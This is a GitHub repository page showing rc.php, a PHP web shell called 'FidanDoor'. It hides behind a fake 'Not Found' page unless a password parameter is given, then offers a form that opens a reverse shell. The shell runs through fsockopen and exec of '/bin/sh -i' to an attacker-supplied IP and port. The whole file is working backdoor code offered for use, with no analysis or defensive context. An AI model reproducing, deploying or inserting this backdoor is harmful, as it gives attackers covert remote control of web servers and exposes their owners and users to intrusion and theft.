-
Notifications
You must be signed in to change notification settings - Fork 0
/
rc.php
128 lines (102 loc) · 2.54 KB
/
rc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<?php
//You Should Define The Pass
//-------------------------------------
$LoaderPass = "1234";
//use ?pass= parameter for access to the connection page.
//--------------------------------------
//https://github.com/MorphaxTheDeveloper
//--------------------------------------
if(isset($_GET['pass']) && $_GET['pass'] == $LoaderPass){
$ShowExtended = true;
}else{
$ShowExtended = false;
}
?>
<html>
<head></head>
<body>
<?php
if($ShowExtended == false){
echo("
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>".$_SERVER['SERVER_SIGNATURE']."</address>");
}?>
<?php
if($ShowExtended == true){
echo('
<div class="box">
<center><img src="https://i.hizliresim.com/qw9dsqv.png" style="height:250px; width: auto;"></center>
<br>
<i><center><h2 style="color: white;">FidanDoor</h2></center></i>
<br>
<form method="post">
<center><div class="alignitem"><h3> Ip: </h3><input type="text" class="textbox" name="ip" required></div></center>
<center><div class="alignitem"><h3>Port: </h3><input type="text" class="textbox2" name="port" required></div></center>
<br>
<center><div class="alignitem"><input type="submit" class="textbox2" style="width:150px;" value="Connect"></div></center>
</form>
<br>
<center>'.
$_SERVER['SERVER_SIGNATURE']
.'
</center></div>
');
}
?>
</body>
<?php
if($ShowExtended == true){
echo("
<style>
body{
background-color: #182028;
color: white;
font-family: 'Times New Roman', Times, serif;
max-width: 800px;
margin-left:auto;
margin-right:auto;
}
.box{
background-color: black;
padding-top: 1%;
padding-bottom: 5%;
border-radius: 15px;
}
.alignitem{
display: flex;
justify-content: center;
}
.textbox{
margin-left: 25px;
height: 50px;
background-color: #181820;
color: red;
font-size: large;
border-radius: 15px;
}
.textbox2{
margin-left: 10px;
height: 50px;
background-color: #181820;
color: red;
font-size: large;
border-radius: 15px;
}
</style>");
}
?>
</html>
<?php
function startConnection($ip,$port){
$sock = fsockopen($ip,$port);
exec("/bin/sh -i <&3 >&3 2>&3");
}
if($_POST){
$getip = $_POST['ip'];
$getport = $_POST['port'];
echo("wait for the connection..");
startConnection($getip,$getport);
}
?>